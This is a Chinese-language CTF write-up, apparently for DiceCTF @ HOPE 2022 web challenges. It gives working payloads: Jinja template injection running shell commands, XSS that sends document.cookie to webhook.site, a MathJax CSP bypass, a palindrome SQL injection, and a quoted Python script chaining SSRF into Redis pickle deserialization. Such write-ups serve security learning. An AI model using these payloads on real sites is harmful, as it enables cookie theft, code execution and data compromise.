secure-page set cookie admin=true
reverser 只需要reverse一下payload就好啦
payload:{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
flag-viewer post /flag with user=admin
pastebin 1 https://pastebin.mc.ax/flash?message=</div><img src=1 onerror=navigator.sendBeacon(`https://webhook.site/42835022-42ff-42a3-873c-1df627e672bc`,document.cookie)>
另一種做法也蠻簡單的,新建檔案,填入如下内容
1 2 3 4 5 <script > alert ('s' )</script >
point post / with Whatpoint=that_point
利用了Go對於json大小寫的處理
oeps 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @server.post('/submit' ) async def submit (request ): token = request.cookies.get('token' , '' ) logged_in = ( all (c in ALLOWED_CHARACTERS for c in token) and len (connection.execute(''' select * from users where token = '%s'; ''' % token).fetchall()) == 1 ) if not logged_in: return (302 , '/?error=Authentication error.' ) data = await request.post() submission = data.get('submission' , '' ) if submission == '' : return (302 , '/?error=Submission cannot be empty.' ) stripped = submission.replace(' ' , '' ) if stripped != stripped[::-1 ]: return (302 , '/?error=Submission must be a palindrome.' ) connection.execute(''' insert into pending (user, sentence) values ('%s', '%s'); ''' % ( token, submission ))
想辦法構造回文字串的就可以注入了
submission='||(SELECT flag FROM flags))--))sgalf MORF galf TCELES(||'
inspect-me 從disord上看到的一個問答
Q: how does the backend detect the view-source:
url?
A: so it waits for the background image request before sending the rest of the response? quite clever
https://chrome.google.com/webstore/detail/allow-right-click/hompjdfbfmmmgflfjdlnkohcplmboaeo
這個蠻好用的
mk https://unsafe.hen.ne.ke/labs/mathjax-csp/
payload:
1 https://mk.mc.ax/render?content=%3Ciframe%20srcdoc%3D%27%3Cscript%20type%3D%22text%2fjavascript%22%20src%3D%22%2fMathJax%2fMathJax.js%3Fconfig%3DTeX-MML-AM_CHTML%22%3E%3C%2fscript%3E%3Cscript%20type%3D%22text%2fx-mathjax-config%22%3E%20%20window.parent.document.location%3D%22https%3A%2f%2fwebhook.site%2f287ff1e8-1842-4e1b-b04c-87c138f31d85%3F%22%2bdocument.cookie%3C%2fscript%3E%27%3E%3C%2fiframe%3E
使用iframe srcdoc是爲了解決在index.html
裏面output.innerHTML = res
這裏的觸發
當然可以這樣
1 https://mk.mc.ax/render?content=%3Cscript%20type%3D%22text%2fx-mathjax-config%22%3Ealert%281%29%3C%2fscript%3E%20%3Cscript%20type%3D%22text%2fjavascript%22%20async%20src%3D%22%2fMathJax%2fMathJax.js%3Fconfig%3DTeX-AMS_CHTML%22%3E%3C%2fscript%3E
your-space(復現) 有一个直接的ssrf在creat space
的时候会触发
本地的起个服务看了看redis的内容,发现好像没有session相关的用户态数据存在(登录处理)。问题就变成了他会缓存那些信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @cache.memoize(timeout=60 ) def num_subscriptions (space_id ): return len (Subscription.query.filter_by(space_id=space_id).all ()) @space.route("/space/<space_id>" ) def view (space_id ): space = Space.query.get(space_id) if space is None : return abort(404 ) subscribed = None if current_user.is_authenticated: subscribed = get_subscription(current_user, space) is not None subs = num_subscriptions(space.id ) return render_template("space.html" , subscribed=subscribed, subs=subs, space=space)
字面意思会缓存num_subscriptions
这个函数,访问/space/<space_id>
60秒内可以在redis里面查看下缓存,并用 pickletools.dis
查看下序列化的内容。正常功能的情况下,redis会出现如下内容
1 2 3 4 flask_cache_app.routes.space.num_subscriptions_memver => !\x80\x05\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06xxxxx\x94. flask_cache_xk28vUr8TTGcOgNTxxxxx => !\x80\x05K\x01.
用pickletools.dis
打印下值
1 2 3 4 5 6 7 8 9 10 11 >>> pickletools.dis(b"\x80\x05K\x00.") 0: \x80 PROTO 5 2: K BININT1 0 4: . STOP >>> pickletools.dis(b"\x80\x05\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06x3mREg\x94.") 0: \x80 PROTO 5 2: \x95 FRAME 10 11: \x8c SHORT_BINUNICODE 'x3mREg' 19: \x94 MEMOIZE (as 0) 20: . STOP highest protocol among opcodes = 4
通过redis的内容以及合理的猜测(实际上是太菜了,懒得看源码)
flask_cache_app.routes.space.num_subscriptions_memver
里面会出现一个xxxx的后缀,这个应该与flask_cache_xk28vUr8TTGcOgNTxxxxx
有关,而flask_cache_xk28vUr8TTGcOgNTxxxxx
应该就是订阅的数量(可能这个键的值就是上面哪个函数的返回值?),这个例子里面是0
所以将flask_cache_app.routes.space.num_subscriptions_memver
值里面的x3mREg
改成任意一个xxxxx
,接着再设置一个flask_cache_xk28vUr8TTGcOgNTxxxxx
为!capp\nflag\n.
就好了。后面渲染的过程会去获取这个订阅的数量,也就是from app import flag
还有个细节就是flask_cache_app.routes.space.num_subscriptions_memver
要设置成下面脚本的内容,不然会被覆盖。具体原理要看源码吧,我就没看了
贴一个别人的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import pickleimport requestsimport secretsbase = "http://127.0.0.1:8000" session = requests.Session() session.post(base+"/register" , data={"username" : "meow" , "password" : "meow" }) session.post(base+"/login" , data={"username" : "meow" , "password" : "meow" }) session.post(base+"/create" , data={"name" : "meow" }) session.get(base+"/space/1/sub" ) pkl = r'"!V\n."' webhook = "dict://redis:6379/SET:flask_cache_app.routes.space.num_subscriptions_memver:" + pkl print (webhook, len (webhook))session.post(base+"/profile" , data={"webhook" : webhook}).text session.post(base+"/space/1/post" , data={"content" : secrets.token_hex(8 )}) session.get(base+"/space/1" ) pkl2 = r'"!capp\nflag\n."' webhook = "dict://redis:6379/SET:flask_cache_xk28vUr8TTGcOgNT:" + pkl2 print (webhook, len (webhook))session.post(base+"/profile" , data={"webhook" : webhook}).text session.post(base+"/space/1/post" , data={"content" : secrets.token_hex(8 )}) session.get(base+"/space/1" ).text print (session.get(base+"/space/1" ).text)
payment-pal(复现) 这个题太难了,看官方wp吧
https://brycec.me/posts/dicectf_at_hope_2022_writeups